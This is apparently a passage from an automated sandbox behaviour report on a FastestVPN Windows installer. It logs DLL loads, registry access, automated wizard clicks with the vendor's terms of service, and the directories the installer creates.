    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wlidsvc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ncrypt.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: cryptsp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: clipc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ntasn1.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: rsaenh.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: cryptbase.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msxml6.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msasn1.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: netprofm.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: iphlpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: policymanager.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msvcp110_win.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: wtsapi32.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: winsta.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: gamestreamingext.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: msauserext.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: tbs.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: npmproxy.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ondemandconnroutehelper.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: sspicli.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc6.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dhcpcsvc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: webio.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: mswsock.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: winnsi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: dnsapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: rasadhlp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: fwpuclnt.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: schannel.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: mskeyprotect.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: gpapi.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: cryptnet.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: ncryptsslp.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: elscore.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: elstrans.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: cryptngc.dll
    Source: C:\Windows\System32\svchost.exeSection loaded: devobj.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: mscoree.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: version.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: windows.storage.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: wldp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: profapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptsp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: rsaenh.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptbase.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: urlmon.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: iertutil.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: srvcli.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: netutils.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: sspicli.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: propsys.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: msasn1.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: riched20.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: usp10.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: msls31.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: gpapi.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: apphelp.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: mfc42u.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: msvcirt.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: msvcp60.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: version.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: netapi32.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: mpr.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: clusapi.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: samlib.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: dnsapi.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: srvcli.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: netutils.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: logoncli.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: samcli.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: uxtheme.dll
    Source: C:\Program Files\FastestVPN\subinacl.exeSection loaded: ntmarta.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: mscoree.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: kernel.appcore.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: version.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: vcruntime140_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: ucrtbase_clr0400.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: windows.storage.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: wldp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: profapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: mswsock.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptsp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: rsaenh.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: cryptbase.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: iphlpapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: httpapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: urlmon.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: iertutil.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: srvcli.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: netutils.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: sspicli.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: propsys.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: dnsapi.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: rasadhlp.dll
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeSection loaded: fwpuclnt.dll
    Source: C:\Windows\regedit.exeSection loaded: authz.dll
    Source: C:\Windows\regedit.exeSection loaded: aclui.dll
    Source: C:\Windows\regedit.exeSection loaded: ulib.dll
    Source: C:\Windows\regedit.exeSection loaded: clb.dll
    Source: C:\Windows\regedit.exeSection loaded: uxtheme.dll
    Source: C:\Windows\regedit.exeSection loaded: ntdsapi.dll
    Source: C:\Windows\regedit.exeSection loaded: xmllite.dll
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32Jump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwnerJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpWindow found: window name: TMainFormJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: Install
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: Next
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpAutomated click: I accept the agreement
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpFile opened: C:\Windows\SysWOW64\MSFTEDIT.DLLJump to behavior
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpWindow detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Terms of ServiceThis is an agreement between you and FastestVPN.com for virtual private network communications services related services and features. It is NOT a service for the commission of criminal acts. It is an anonymity and privacy service. You agree not to violate any laws of any jurisdiction you are originating from or terminating into.You agree to protect your user id/password and our system from unauthorized use. You are responsible for all actions that occur on our servers where the login uses your user id/password.You agree not to use the system for sending spam port scanning scanning for open proxies or open relays sending opt-in email unsolicited email or any type or version of email sent in large quantities even if the email is ultimately sent off of another server. You agree not to launch any pop-ups from our service. You agree not to attack in any way shape or form any other computer or network while on our service.Actual service coverage speeds locations and quality may vary. The Service will attempt to be available at all times except for limited periods for maintenance and repair. However the Service may be subject to unavailability for a variety of factors beyond our control including emergencies third party service failures transmission equipment or network problems or limitations interference signal strength and may be interrupted refused limited or curtailed. We are not responsible for data messages or pages lost not delivered delayed or misdirected because of interruptions or performance issues with the Service or communications services or networks (e.g. T-1 lines or the Internet). We may impose usage or Service limits suspend Service or block certain kinds of usage in our sole discretion to protect users or the Service. Network speed is an estimate and is no indication of the speed at which your or the Service sends or receives data. Actual network speed will vary based on configuration compression network congestion and other factors. The accuracy and timeliness of data received is not guaranteed; delays or omissions may occur.We do not log any user activity (sites visited DNS lookups emails etc.) We only log access attempts to our servers (for security and troubleshooting). We do not get involved in any form of censorship. We do not give your personal info to any third parties. We do not cooperate with any requests for information unless we are ordered by a court of competent jurisdiction and the vast majority of these requests would not be from a court of competent jurisdiction. We will protect you to the max and our system is setup to automatically do so. There are hundreds of good reasons for being anonymous and we respect them fully.Hacking cracking distribution of viruses fraudulent activities network sa
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpWindow detected: License AgreementPlease read the following important information before continuing.Please read the following License Agreement. You must accept the terms of this agreement before continuing with the installation.Terms of ServiceThis is an agreement between you and FastestVPN.com for virtual private network communications services related services and features. It is NOT a service for the commission of criminal acts. It is an anonymity and privacy service. You agree not to violate any laws of any jurisdiction you are originating from or terminating into.You agree to protect your user id/password and our system from unauthorized use. You are responsible for all actions that occur on our servers where the login uses your user id/password.You agree not to use the system for sending spam port scanning scanning for open proxies or open relays sending opt-in email unsolicited email or any type or version of email sent in large quantities even if the email is ultimately sent off of another server. You agree not to launch any pop-ups from our service. You agree not to attack in any way shape or form any other computer or network while on our service.Actual service coverage speeds locations and quality may vary. The Service will attempt to be available at all times except for limited periods for maintenance and repair. However the Service may be subject to unavailability for a variety of factors beyond our control including emergencies third party service failures transmission equipment or network problems or limitations interference signal strength and may be interrupted refused limited or curtailed. We are not responsible for data messages or pages lost not delivered delayed or misdirected because of interruptions or performance issues with the Service or communications services or networks (e.g. T-1 lines or the Internet). We may impose usage or Service limits suspend Service or block certain kinds of usage in our sole discretion to protect users or the Service. Network speed is an estimate and is no indication of the speed at which your or the Service sends or receives data. Actual network speed will vary based on configuration compression network congestion and other factors. The accuracy and timeliness of data received is not guaranteed; delays or omissions may occur.We do not log any user activity (sites visited DNS lookups emails etc.) We only log access attempts to our servers (for security and troubleshooting). We do not get involved in any form of censorship. We do not give your personal info to any third parties. We do not cooperate with any requests for information unless we are ordered by a court of competent jurisdiction and the vast majority of these requests would not be from a court of competent jurisdiction. We will protect you to the max and our system is setup to automatically do so. There are hundreds of good reasons for being anonymous and we respect them fully.Hacking cracking distribution of viruses fraudulent activities network sa
    Source: C:\Program Files\FastestVPN\FastestVPN.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPNJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\unins000.datJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-QKJFC.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-2UQE3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-IQDKV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-J47PI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-9UKRQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-G4HV7.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-BBM9J.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-10HRM.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-P51DA.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-U7JPO.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-IDET5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-LKQ8H.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-VEE4L.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-3211D.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-LTL2E.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-J1CTU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-CIEMI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-1MJTU.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-3A406.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-AA9TI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-JURBP.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-8ATR4.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-QIAH3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-GVJD7.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-51N13.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-FQ58N.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-A6140.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-2MRML.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-28L78.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-KH3QE.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-9GVRJ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-R5J7J.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-G502V.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-83481.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-F3KEK.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-RCMHQ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-U4UD1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-380D9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-88O7S.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-M4SB1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-IHPI5.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-7IV9U.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-VO662.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-6S3D1.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-B33J3.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-8IJ1N.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-8MGRV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\is-UK0LH.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\ResourcesJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-BMT4K.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-R9MSC.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-BHOGA.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-QHD6A.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-SURFG.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-KHD5M.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-QB0TS.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-VCK53.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-3IEGE.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-4JTDD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-PT7JD.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-TJ0RL.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-2M6O7.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-8GI77.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-LGPJJ.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-99CNN.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-27RBI.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-FONAV.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-QC9L9.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-PVDB2.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\is-QVG37.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\dataJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-ULNKB.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-0I635.tmpJump to behavior
    Source: C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmpDirectory created: C:\Program Files\FastestVPN\Resources\data\is-D42BD.tmpJump to behavior
